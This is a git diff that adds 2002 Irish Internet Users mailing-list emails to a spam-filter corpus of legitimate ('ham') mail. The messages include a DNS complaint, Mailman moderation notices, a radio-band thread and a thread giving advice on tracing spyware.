WhoisIreland.com as these guys seem to be technologically +incapable of running their own DNSes. What kind of distorted logic hands +the admin of a national tld to a company that does not even handle DNS +for its own domain? Whatever selection process IEDR used should be +investigated by the relevant government department, especially as the +company supposedly providing technical administration to IEDR did not +actually spot this loss of synch. The IEDR contract with the company +should be reviewed in the light of this event. This kind of 1 week loss +of synch should not happen with a national domain. Ireland as E-hub - +more like e-jit central! :) + +Regards...jmcc +-- +******************************************** +John McCormac * Hack Watch News +jmcc@hackwatch.com * 22 Viewmount, +Voice: +353-51-873640 * Waterford, +BBS&Fax: +353-51-850143 * Ireland +http://www.hackwatch.com/~kooltek +******************************************** + +-----BEGIN PGP PUBLIC KEY BLOCK----- +Version: 2.6 + +mQCNAzAYPNsAAAEEAPGTHaNyitUTNAwF8BU6mF5PcbLQXdeuHf3xT6UOL+/Od+z+ +ZOCAx8Ka9LJBjuQYw8hlqvTV5kceLlrP2HPqmk7YPOw1fQWlpTJof+ZMCxEVd1Qz +TRet2vS/kiRQRYvKOaxoJhqIzUr1g3ovBnIdpKeo4KKULz9XKuxCgZsuLKkVAAUX +tCJKb2huIE1jQ29ybWFjIDxqbWNjQGhhY2t3YXRjaC5jb20+tBJqbWNjQGhhY2t3 +YXRjaC5jb20= +=sTfy +-----END PGP PUBLIC KEY BLOCK----- +_______________________________________________ +IIU mailing list +IIU@iiu.taint.org +http://iiu.taint.org/mailman/listinfo/iiu + + diff --git a/bayes/spamham/easy_ham_2/00490.9c5dd006a16b1e30c9162ba4b4b75ea8 b/bayes/spamham/easy_ham_2/00490.9c5dd006a16b1e30c9162ba4b4b75ea8 new file mode 100644 index 0000000..273120c --- /dev/null +++ b/bayes/spamham/easy_ham_2/00490.9c5dd006a16b1e30c9162ba4b4b75ea8 @@ -0,0 +1,51 @@ +From iiu-admin@taint.org Wed Jul 24 05:33:50 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 367F1440CD + for ; Wed, 24 Jul 2002 00:33:49 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 05:33:49 +0100 (IST) +Received: from dogma.slashnull.org (localhost [127.0.0.1]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6O4Y1420235 for + ; Wed, 24 Jul 2002 05:34:01 +0100 +Received: from dogma.slashnull.org (localhost [127.0.0.1]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6O4X1420185 for + ; Wed, 24 Jul 2002 05:33:01 +0100 +Date: Wed, 24 Jul 2002 05:33:01 +0100 +Message-Id: <20020724043301.20182.49751.Mailman@dogma.slashnull.org> +Subject: IIU post from emailharvest@email.com requires approval +From: iiu-admin@taint.org +To: iiu-admin@taint.org +X-Ack: no +X-Beenthere: iiu@iiu.taint.org +X-Mailman-Version: 2.0.10 +Precedence: bulk +Sender: iiu-owner@taint.org +Errors-To: iiu-owner@taint.org +X-Beenthere: iiu@iiu.taint.org +List-Unsubscribe: , + +List-Id: Irish Internet Users +List-Post: +List-Help: +List-Subscribe: , + +List-Archive: + +As list administrator, your authorization is requested for the +following mailing list posting: + + List: IIU@iiu.taint.org + From: emailharvest@email.com + Subject: Harvest lots of E-mail addresses quickly ! + Reason: Post by non-member to a members-only list + +At your convenience, visit: + + http://iiu.taint.org/mailman/admindb/iiu + +to approve or deny the request. + + diff --git a/bayes/spamham/easy_ham_2/00491.bfa886e46011d333b0d3654ea0579210 b/bayes/spamham/easy_ham_2/00491.bfa886e46011d333b0d3654ea0579210 new file mode 100644 index 0000000..fa8e635 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00491.bfa886e46011d333b0d3654ea0579210 @@ -0,0 +1,51 @@ +From iiu-admin@taint.org Wed Jul 24 05:33:57 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 87EF8440CC + for ; Wed, 24 Jul 2002 00:33:55 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 05:33:55 +0100 (IST) +Received: from dogma.slashnull.org (localhost [127.0.0.1]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6O4Y1420249 for + ; Wed, 24 Jul 2002 05:34:01 +0100 +Received: from dogma.slashnull.org (localhost [127.0.0.1]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6O4X2420193 for + ; Wed, 24 Jul 2002 05:33:02 +0100 +Date: Wed, 24 Jul 2002 05:33:02 +0100 +Message-Id: <20020724043302.20182.90947.Mailman@dogma.slashnull.org> +Subject: IIU post from emailharvest@email.com requires approval +From: iiu-admin@taint.org +To: iiu-admin@taint.org +X-Ack: no +X-Beenthere: iiu@iiu.taint.org +X-Mailman-Version: 2.0.10 +Precedence: bulk +Sender: iiu-owner@taint.org +Errors-To: iiu-owner@taint.org +X-Beenthere: iiu@iiu.taint.org +List-Unsubscribe: , + +List-Id: Irish Internet Users +List-Post: +List-Help: +List-Subscribe: , + +List-Archive: + +As list administrator, your authorization is requested for the +following mailing list posting: + + List: IIU@iiu.taint.org + From: emailharvest@email.com + Subject: Harvest lots of E-mail addresses quickly ! + Reason: Post by non-member to a members-only list + +At your convenience, visit: + + http://iiu.taint.org/mailman/admindb/iiu + +to approve or deny the request. + + diff --git a/bayes/spamham/easy_ham_2/00492.bc9e8dcbe986afe7ed1f38e988f43c8b b/bayes/spamham/easy_ham_2/00492.bc9e8dcbe986afe7ed1f38e988f43c8b new file mode 100644 index 0000000..d36ce16 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00492.bc9e8dcbe986afe7ed1f38e988f43c8b @@ -0,0 +1,51 @@ +From iiu-admin@taint.org Wed Jul 24 14:04:29 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 12F05440CD + for ; Wed, 24 Jul 2002 09:04:28 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 14:04:28 +0100 (IST) +Received: from dogma.slashnull.org (localhost [127.0.0.1]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6OD41414189 for + ; Wed, 24 Jul 2002 14:04:01 +0100 +Received: from dogma.slashnull.org (localhost [127.0.0.1]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6OD31414147 for + ; Wed, 24 Jul 2002 14:03:01 +0100 +Date: Wed, 24 Jul 2002 14:03:01 +0100 +Message-Id: <20020724130301.14145.68146.Mailman@dogma.slashnull.org> +Subject: IIU post from friendsworld@lovefinder.com requires approval +From: iiu-admin@taint.org +To: iiu-admin@taint.org +X-Ack: no +X-Beenthere: iiu@iiu.taint.org +X-Mailman-Version: 2.0.10 +Precedence: bulk +Sender: iiu-owner@taint.org +Errors-To: iiu-owner@taint.org +X-Beenthere: iiu@iiu.taint.org +List-Unsubscribe: , + +List-Id: Irish Internet Users +List-Post: +List-Help: +List-Subscribe: , + +List-Archive: + +As list administrator, your authorization is requested for the +following mailing list posting: + + List: IIU@iiu.taint.org + From: friendsworld@lovefinder.com + Subject: humour Friendship to share ! + Reason: Post by non-member to a members-only list + +At your convenience, visit: + + http://iiu.taint.org/mailman/admindb/iiu + +to approve or deny the request. + + diff --git a/bayes/spamham/easy_ham_2/00493.0f1f8d8b91f935166791f0d2e612d4af b/bayes/spamham/easy_ham_2/00493.0f1f8d8b91f935166791f0d2e612d4af new file mode 100644 index 0000000..e9d8172 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00493.0f1f8d8b91f935166791f0d2e612d4af @@ -0,0 +1,84 @@ +From iiu-admin@taint.org Fri Jul 26 17:13:19 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id F0EE8440E8 + for ; Fri, 26 Jul 2002 12:13:16 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 26 Jul 2002 17:13:17 +0100 (IST) +Received: from dogma.slashnull.org (localhost [127.0.0.1]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6QGCxr09485; + Fri, 26 Jul 2002 17:12:59 +0100 +Received: from mail04.svc.cra.dublin.eircom.net + (mail04.svc.cra.dublin.eircom.net [159.134.118.20]) by dogma.slashnull.org + (8.11.6/8.11.6) with SMTP id g6QGBar09444 for ; + Fri, 26 Jul 2002 17:11:36 +0100 +Received: (qmail 12902 messnum 1110424 invoked from + network[159.134.176.195/p195.as1.cra.dublin.eircom.net]); 26 Jul 2002 + 16:10:28 -0000 +Received: from p195.as1.cra.dublin.eircom.net (HELO tron.nua.ie) + (159.134.176.195) by mail04.svc.cra.dublin.eircom.net (qp 12902) with SMTP; + 26 Jul 2002 16:10:28 -0000 +Message-Id: <5.0.2.1.0.20020726165855.03a40810@dogma.slashnull.org> +X-Sender: antoinmail@dogma.slashnull.org +X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 +To: iiu@taint.org, iiu@taint.org +From: Antoin O Lachtnain +Subject: Re: [IIU] OCTR unlicensed band changes ... +In-Reply-To: <5.1.0.14.2.20020726162611.02dd6cf0@gpo.iol.ie> +References: <5.0.2.1.0.20020726133547.028d0a10@dogma.slashnull.org> +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii"; format=flowed +Sender: iiu-admin@taint.org +Errors-To: iiu-admin@taint.org +X-Beenthere: iiu@iiu.taint.org +X-Mailman-Version: 2.0.10 +Precedence: bulk +Reply-To: iiu@taint.org +List-Unsubscribe: , + +List-Id: Irish Internet Users +List-Post: +List-Help: +List-Subscribe: , + +List-Archive: +Date: Fri, 26 Jul 2002 16:59:22 +0100 + + +Does that mean that you could reach further, but you couldn't take up as +much bandwidth then? + +a. + +At 04:27 PM 7/26/2002 +0100, Bernie Goldbach wrote: +>Hi, +> +>I believe the higher allowance nationally comes with a prescribed specific +>frequency constraint, so if you want 2 watts, you will have to confine +>yourself to a tighter limit of the open spectrum. That could affect +>deployments that channel-hop when they encounter degradations in signal +>strength. +> +>regards +>Bernie Goldbach +>::talking to signs:: +> +> +>_______________________________________________ +>IIU mailing list +>IIU@iiu.taint.org +>http://iiu.taint.org/mailman/listinfo/iiu + +-- + +Antoin O Lachtnain +** antoin@eire.com ** http://www.eire.com ** +353-87-240-6691 + +_______________________________________________ +IIU mailing list +IIU@iiu.taint.org +http://iiu.taint.org/mailman/listinfo/iiu + + diff --git a/bayes/spamham/easy_ham_2/00494.33de9f88fb2321b2a58c72157d8d3db7 b/bayes/spamham/easy_ham_2/00494.33de9f88fb2321b2a58c72157d8d3db7 new file mode 100644 index 0000000..b8c9517 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00494.33de9f88fb2321b2a58c72157d8d3db7 @@ -0,0 +1,51 @@ +From iiu-admin@taint.org Wed Jul 31 17:10:30 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 807FE440C8 + for ; Wed, 31 Jul 2002 12:10:29 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 17:10:29 +0100 (IST) +Received: from dogma.slashnull.org (localhost [127.0.0.1]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6VG90232573 for + ; Wed, 31 Jul 2002 17:09:00 +0100 +Received: from dogma.slashnull.org (localhost [127.0.0.1]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6VG8H232539 for + ; Wed, 31 Jul 2002 17:08:17 +0100 +Date: Wed, 31 Jul 2002 17:08:17 +0100 +Message-Id: <20020731160817.32495.49086.Mailman@dogma.slashnull.org> +Subject: IIU post from emailharvest@email.com requires approval +From: iiu-admin@taint.org +To: iiu-admin@taint.org +X-Ack: no +X-Beenthere: iiu@iiu.taint.org +X-Mailman-Version: 2.0.10 +Precedence: bulk +Sender: iiu-owner@taint.org +Errors-To: iiu-owner@taint.org +X-Beenthere: iiu@iiu.taint.org +List-Unsubscribe: , + +List-Id: Irish Internet Users +List-Post: +List-Help: +List-Subscribe: , + +List-Archive: + +As list administrator, your authorization is requested for the +following mailing list posting: + + List: IIU@iiu.taint.org + From: emailharvest@email.com + Subject: ADV: Harvest lots of E-mail addresses quickly ! + Reason: Post by non-member to a members-only list + +At your convenience, visit: + + http://iiu.taint.org/mailman/admindb/iiu + +to approve or deny the request. + + diff --git a/bayes/spamham/easy_ham_2/00495.727ea275e5530758b79884779603b7e0 b/bayes/spamham/easy_ham_2/00495.727ea275e5530758b79884779603b7e0 new file mode 100644 index 0000000..c5ef574 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00495.727ea275e5530758b79884779603b7e0 @@ -0,0 +1,50 @@ +From iiu-admin@taint.org Thu Aug 1 17:03:20 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 62A46440F0 + for ; Thu, 1 Aug 2002 12:03:20 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 01 Aug 2002 17:03:20 +0100 (IST) +Received: from dogma.slashnull.org (localhost [127.0.0.1]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g71G11220021 for + ; Thu, 1 Aug 2002 17:01:01 +0100 +Received: from dogma.slashnull.org (localhost [127.0.0.1]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g71G01219915 for + ; Thu, 1 Aug 2002 17:00:01 +0100 +Date: Thu, 01 Aug 2002 17:00:01 +0100 +Message-Id: <20020801160001.19909.90792.Mailman@dogma.slashnull.org> +Subject: 1 IIU admin request(s) waiting +From: iiu-admin@taint.org +To: iiu-admin@taint.org +X-Ack: no +X-Beenthere: iiu@iiu.taint.org +X-Mailman-Version: 2.0.10 +Precedence: bulk +Sender: iiu-owner@taint.org +Errors-To: iiu-owner@taint.org +X-Beenthere: iiu@iiu.taint.org +List-Unsubscribe: , + +List-Id: Irish Internet Users +List-Post: +List-Help: +List-Subscribe: , + +List-Archive: + +The IIU@iiu.taint.org mailing list has 1 request(s) waiting for your +consideration at: + + http://iiu.taint.org/mailman/admindb/iiu + +Please attend to this at your earliest convenience. This notice of +pending requests, if any, will be sent out daily. + + +Pending posts: + From: emailharvest@email.com on Wed Jul 31 17:08:17 2002 + Cause: Post by non-member to a members-only list + + diff --git a/bayes/spamham/easy_ham_2/00496.608cbc8b542fc2bcf45665af87d2f67e b/bayes/spamham/easy_ham_2/00496.608cbc8b542fc2bcf45665af87d2f67e new file mode 100644 index 0000000..5781489 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00496.608cbc8b542fc2bcf45665af87d2f67e @@ -0,0 +1,71 @@ +From iiu-admin@taint.org Tue Aug 6 11:14:56 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id EAAF244149 + for ; Tue, 6 Aug 2002 06:10:56 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:10:56 +0100 (IST) +Received: from dogma.slashnull.org (localhost [127.0.0.1]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g73JMEv24497; + Sat, 3 Aug 2002 20:22:14 +0100 +Received: from mail03.svc.cra.dublin.eircom.net + (mail03.svc.cra.dublin.eircom.net [159.134.118.19]) by dogma.slashnull.org + (8.11.6/8.11.6) with SMTP id g73JL7v24472 for ; + Sat, 3 Aug 2002 20:21:07 +0100 +Received: (qmail 45645 messnum 519598 invoked from + network[159.134.233.196/p233-196.as1.cbr.castlebar.eircom.net]); + 3 Aug 2002 19:19:33 -0000 +Received: from p233-196.as1.cbr.castlebar.eircom.net (HELO oemcomputer) + (159.134.233.196) by mail03.svc.cra.dublin.eircom.net (qp 45645) with SMTP; + 3 Aug 2002 19:19:33 -0000 +Message-Id: <001501c23b22$e0446220$c4e9869f@oemcomputer> +From: "Brian O'Brien" +To: +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Subject: [IIU] spyware calling home? +Sender: iiu-admin@taint.org +Errors-To: iiu-admin@taint.org +X-Beenthere: iiu@iiu.taint.org +X-Mailman-Version: 2.0.10 +Precedence: bulk +Reply-To: iiu@taint.org +List-Unsubscribe: , + +List-Id: Irish Internet Users +List-Post: +List-Help: +List-Subscribe: , + +List-Archive: +Date: Sat, 3 Aug 2002 20:18:48 +0100 + +Hello all +I'm looking for advice. My pc has developed a disturbing tendency of trying +to access IP 62.17.143.253 without my consent. It has got to the stage where +normal web-browsing is almost impossible. +I have checked IP address on RIPE database and I know precisely who is being +called. I contacted that company on 14 July, when the problem first arose +and asked for a remedy but (surprise) got no reply. +A helpful person on the ie.comp list suggested Adaware spyware removal. I +ran this and haven't had a problem again until today. +The offending program is obviously not in Adaware db. (I run adaware with +current ref files every day now). +Any suggestions, please, for removing whatever the f*** is causing this +from my pc? +Brian + + +_______________________________________________ +IIU mailing list +IIU@iiu.taint.org +http://iiu.taint.org/mailman/listinfo/iiu + + diff --git a/bayes/spamham/easy_ham_2/00497.90e2604fc85ac552b46a924e795302a7 b/bayes/spamham/easy_ham_2/00497.90e2604fc85ac552b46a924e795302a7 new file mode 100644 index 0000000..d84c631 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00497.90e2604fc85ac552b46a924e795302a7 @@ -0,0 +1,91 @@ +From iiu-admin@taint.org Tue Aug 6 11:16:25 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E273D4411C + for ; Tue, 6 Aug 2002 06:12:27 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:12:27 +0100 (IST) +Received: from dogma.slashnull.org (localhost [127.0.0.1]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g73Kb2v26543; + Sat, 3 Aug 2002 21:37:02 +0100 +Received: from web05.bigbiz.com (web05.bigbiz.com [216.218.198.5]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g73KaCv26512 for + ; Sat, 3 Aug 2002 21:36:12 +0100 +Received: from Alfalfa.deisedesign.com ([193.193.166.41]) by + web05.bigbiz.com (8.8.7/8.8.7) with ESMTP id NAA25594 for ; + Sat, 3 Aug 2002 13:34:28 -0700 +Message-Id: <5.1.0.14.0.20020803213144.02fd5860@127.0.0.1> +X-Sender: deisedesign/mwhelan/10.0.0.1@127.0.0.1 +X-Mailer: QUALCOMM Windows Eudora Version 5.1 +To: iiu@taint.org +From: Martin Whelan +Subject: Re: [IIU] spyware calling home? +In-Reply-To: <001501c23b22$e0446220$c4e9869f@oemcomputer> +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1"; format=flowed +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by dogma.slashnull.org + id g73KaCv26512 +Sender: iiu-admin@taint.org +Errors-To: iiu-admin@taint.org +X-Beenthere: iiu@iiu.taint.org +X-Mailman-Version: 2.0.10 +Precedence: bulk +Reply-To: iiu@taint.org +List-Unsubscribe: , + +List-Id: Irish Internet Users +List-Post: +List-Help: +List-Subscribe: , + +List-Archive: +Date: Sat, 03 Aug 2002 21:32:36 +0100 + +Do you know which app is making the connection? + + +At 20:18 03/08/02 +0100, you wrote: +>Hello all +>I'm looking for advice. My pc has developed a disturbing tendency of trying +>to access IP 62.17.143.253 without my consent. It has got to the stage where +>normal web-browsing is almost impossible. +>I have checked IP address on RIPE database and I know precisely who is being +>called. I contacted that company on 14 July, when the problem first arose +>and asked for a remedy but (surprise) got no reply. +>A helpful person on the ie.comp list suggested Adaware spyware removal. I +>ran this and haven't had a problem again until today. +>The offending program is obviously not in Adaware db. (I run adaware with +>current ref files every day now).? +>Any suggestions, please, for removing whatever the f*** is causing this +>from my pc? +>Brian +> +> +>_______________________________________________ +>IIU mailing list +>IIU@iiu.taint.org +>http://iiu.taint.org/mailman/listinfo/iiu + +======================================================================== +Martin Whelan | Déise Design | www.deisedesign.com | Tel : 086-8888975 + +" Our core product Déiseditor © allows organisations to publish information +to their web site in a fast and cost effective manner. There is no need for +a full time web developer, as the site can be easily updated by the +organisations own staff. +Instant updates to keep site information fresh. Sites which are updated +regularly bring users back. Visit www.deisedesign.com/deiseditor.html for a +demonstration " + +Déiseditor © " Managing Your Information " +======================================================================== + +_______________________________________________ +IIU mailing list +IIU@iiu.taint.org +http://iiu.taint.org/mailman/listinfo/iiu + + diff --git a/bayes/spamham/easy_ham_2/00498.637db80f2612123a12e1081ee90aff41 b/bayes/spamham/easy_ham_2/00498.637db80f2612123a12e1081ee90aff41 new file mode 100644 index 0000000..8fe6648 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00498.637db80f2612123a12e1081ee90aff41 @@ -0,0 +1,118 @@ +From iiu-admin@taint.org Tue Aug 6 11:16:48 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5E5AC44121 + for ; Tue, 6 Aug 2002 06:12:47 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:12:47 +0100 (IST) +Received: from dogma.slashnull.org (localhost [127.0.0.1]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g73Kp2v27007; + Sat, 3 Aug 2002 21:51:02 +0100 +Received: from mail04.svc.cra.dublin.eircom.net + (mail04.svc.cra.dublin.eircom.net [159.134.118.20]) by dogma.slashnull.org + (8.11.6/8.11.6) with SMTP id g73Ko2v26975 for ; + Sat, 3 Aug 2002 21:50:02 +0100 +Received: (qmail 57937 messnum 1119405 invoked from + network[159.134.232.46/p232-46.as1.cbr.castlebar.eircom.net]); + 3 Aug 2002 20:48:28 -0000 +Received: from p232-46.as1.cbr.castlebar.eircom.net (HELO oemcomputer) + (159.134.232.46) by mail04.svc.cra.dublin.eircom.net (qp 57937) with SMTP; + 3 Aug 2002 20:48:28 -0000 +Message-Id: <005f01c23b2f$320fe780$c4e9869f@oemcomputer> +From: "Brian O'Brien" +To: +References: <5.1.0.14.0.20020803213144.02fd5860@127.0.0.1> +Subject: Re: [IIU] spyware calling home? +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 8bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Sender: iiu-admin@taint.org +Errors-To: iiu-admin@taint.org +X-Beenthere: iiu@iiu.taint.org +X-Mailman-Version: 2.0.10 +Precedence: bulk +Reply-To: iiu@taint.org +List-Unsubscribe: , + +List-Id: Irish Internet Users +List-Post: +List-Help: +List-Subscribe: , + +List-Archive: +Date: Sat, 3 Aug 2002 21:47:02 +0100 + +Unfortunately, I don't. ZoneAlarm normally gives that info but not this +time. It just blocks the outward access and warns me that the attempt +occurred. +Brian +----- Original Message ----- +From: "Martin Whelan" +To: +Sent: Saturday, August 03, 2002 9:32 PM +Subject: Re: [IIU] spyware calling home? + + +> Do you know which app is making the connection? +> +> +> At 20:18 03/08/02 +0100, you wrote: +> >Hello all +> >I'm looking for advice. My pc has developed a disturbing tendency of +trying +> >to access IP 62.17.143.253 without my consent. It has got to the stage +where +> >normal web-browsing is almost impossible. +> >I have checked IP address on RIPE database and I know precisely who is +being +> >called. I contacted that company on 14 July, when the problem first arose +> >and asked for a remedy but (surprise) got no reply. +> >A helpful person on the ie.comp list suggested Adaware spyware removal. I +> >ran this and haven't had a problem again until today. +> >The offending program is obviously not in Adaware db. (I run adaware with +> >current ref files every day now).? +> >Any suggestions, please, for removing whatever the f*** is causing this +> >from my pc? +> >Brian +> > +> > +> >_______________________________________________ +> >IIU mailing list +> >IIU@iiu.taint.org +> >http://iiu.taint.org/mailman/listinfo/iiu +> +> ======================================================================== +> Martin Whelan | Déise Design | www.deisedesign.com | Tel : 086-8888975 +> +> " Our core product Déiseditor © allows organisations to publish +information +> to their web site in a fast and cost effective manner. There is no need +for +> a full time web developer, as the site can be easily updated by the +> organisations own staff. +> Instant updates to keep site information fresh. Sites which are updated +> regularly bring users back. Visit www.deisedesign.com/deiseditor.html for +a +> demonstration " +> +> Déiseditor © " Managing Your Information " +> ======================================================================== +> +> _______________________________________________ +> IIU mailing list +> IIU@iiu.taint.org +> http://iiu.taint.org/mailman/listinfo/iiu +> + +_______________________________________________ +IIU mailing list +IIU@iiu.taint.org +http://iiu.taint.org/mailman/listinfo/iiu + + diff --git a/bayes/spamham/easy_ham_2/00499.b66750ed646219a0524a648a061dfa67 b/bayes/spamham/easy_ham_2/00499.b66750ed646219a0524a648a061dfa67 new file mode 100644 index 0000000..03cbff4 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00499.b66750ed646219a0524a648a061dfa67 @@ -0,0 +1,139 @@ +From iiu-admin@taint.org Tue Aug 6 11:17:00 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 49CAB44122 + for ; Tue, 6 Aug 2002 06:12:51 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:12:51 +0100 (IST) +Received: from dogma.slashnull.org (localhost [127.0.0.1]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g73L54v27400; + Sat, 3 Aug 2002 22:05:04 +0100 +Received: from web05.bigbiz.com (web05.bigbiz.com [216.218.198.5]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g73L4tv27377 for + ; Sat, 3 Aug 2002 22:04:55 +0100 +Received: from Alfalfa.deisedesign.com ([193.193.166.41]) by + web05.bigbiz.com (8.8.7/8.8.7) with ESMTP id OAA29513 for ; + Sat, 3 Aug 2002 14:03:13 -0700 +Message-Id: <5.1.0.14.0.20020803215948.02fd9340@127.0.0.1> +X-Sender: deisedesign/mwhelan/10.0.0.1@127.0.0.1 +X-Mailer: QUALCOMM Windows Eudora Version 5.1 +To: iiu@taint.org +From: Martin Whelan +Subject: Re: [IIU] spyware calling home? +In-Reply-To: <005f01c23b2f$320fe780$c4e9869f@oemcomputer> +References: <5.1.0.14.0.20020803213144.02fd5860@127.0.0.1> +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1"; format=flowed +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by dogma.slashnull.org + id g73L4tv27377 +Sender: iiu-admin@taint.org +Errors-To: iiu-admin@taint.org +X-Beenthere: iiu@iiu.taint.org +X-Mailman-Version: 2.0.10 +Precedence: bulk +Reply-To: iiu@taint.org +List-Unsubscribe: , + +List-Id: Irish Internet Users +List-Post: +List-Help: +List-Subscribe: , + +List-Archive: +Date: Sat, 03 Aug 2002 22:01:17 +0100 + +It may be worth removing all your apps from the approved list. (a bit of a +pain, I agree) then check the first app which makes the connection. With a +bit of luck it won't be anything standard + +At 21:47 03/08/02 +0100, you wrote: +>Unfortunately, I don't. ZoneAlarm normally gives that info but not this +>time. It just blocks the outward access and warns me that the attempt +>occurred. +>Brian +>----- Original Message ----- +>From: "Martin Whelan" +>To: +>Sent: Saturday, August 03, 2002 9:32 PM +>Subject: Re: [IIU] spyware calling home? +> +> +> > Do you know which app is making the connection? +> > +> > +> > At 20:18 03/08/02 +0100, you wrote: +> > >Hello all +> > >I'm looking for advice. My pc has developed a disturbing tendency of +>trying +> > >to access IP 62.17.143.253 without my consent. It has got to the stage +>where +> > >normal web-browsing is almost impossible. +> > >I have checked IP address on RIPE database and I know precisely who is +>being +> > >called. I contacted that company on 14 July, when the problem first arose +> > >and asked for a remedy but (surprise) got no reply. +> > >A helpful person on the ie.comp list suggested Adaware spyware removal. I +> > >ran this and haven't had a problem again until today. +> > >The offending program is obviously not in Adaware db. (I run adaware with +> > >current ref files every day now).? +> > >Any suggestions, please, for removing whatever the f*** is causing this +> > >from my pc? +> > >Brian +> > > +> > > +> > >_______________________________________________ +> > >IIU mailing list +> > >IIU@iiu.taint.org +> > >http://iiu.taint.org/mailman/listinfo/iiu +> > +> > ======================================================================== +> > Martin Whelan | Déise Design | www.deisedesign.com | Tel : 086-8888975 +> > +> > " Our core product Déiseditor © allows organisations to publish +>information +> > to their web site in a fast and cost effective manner. There is no need +>for +> > a full time web developer, as the site can be easily updated by the +> > organisations own staff. +> > 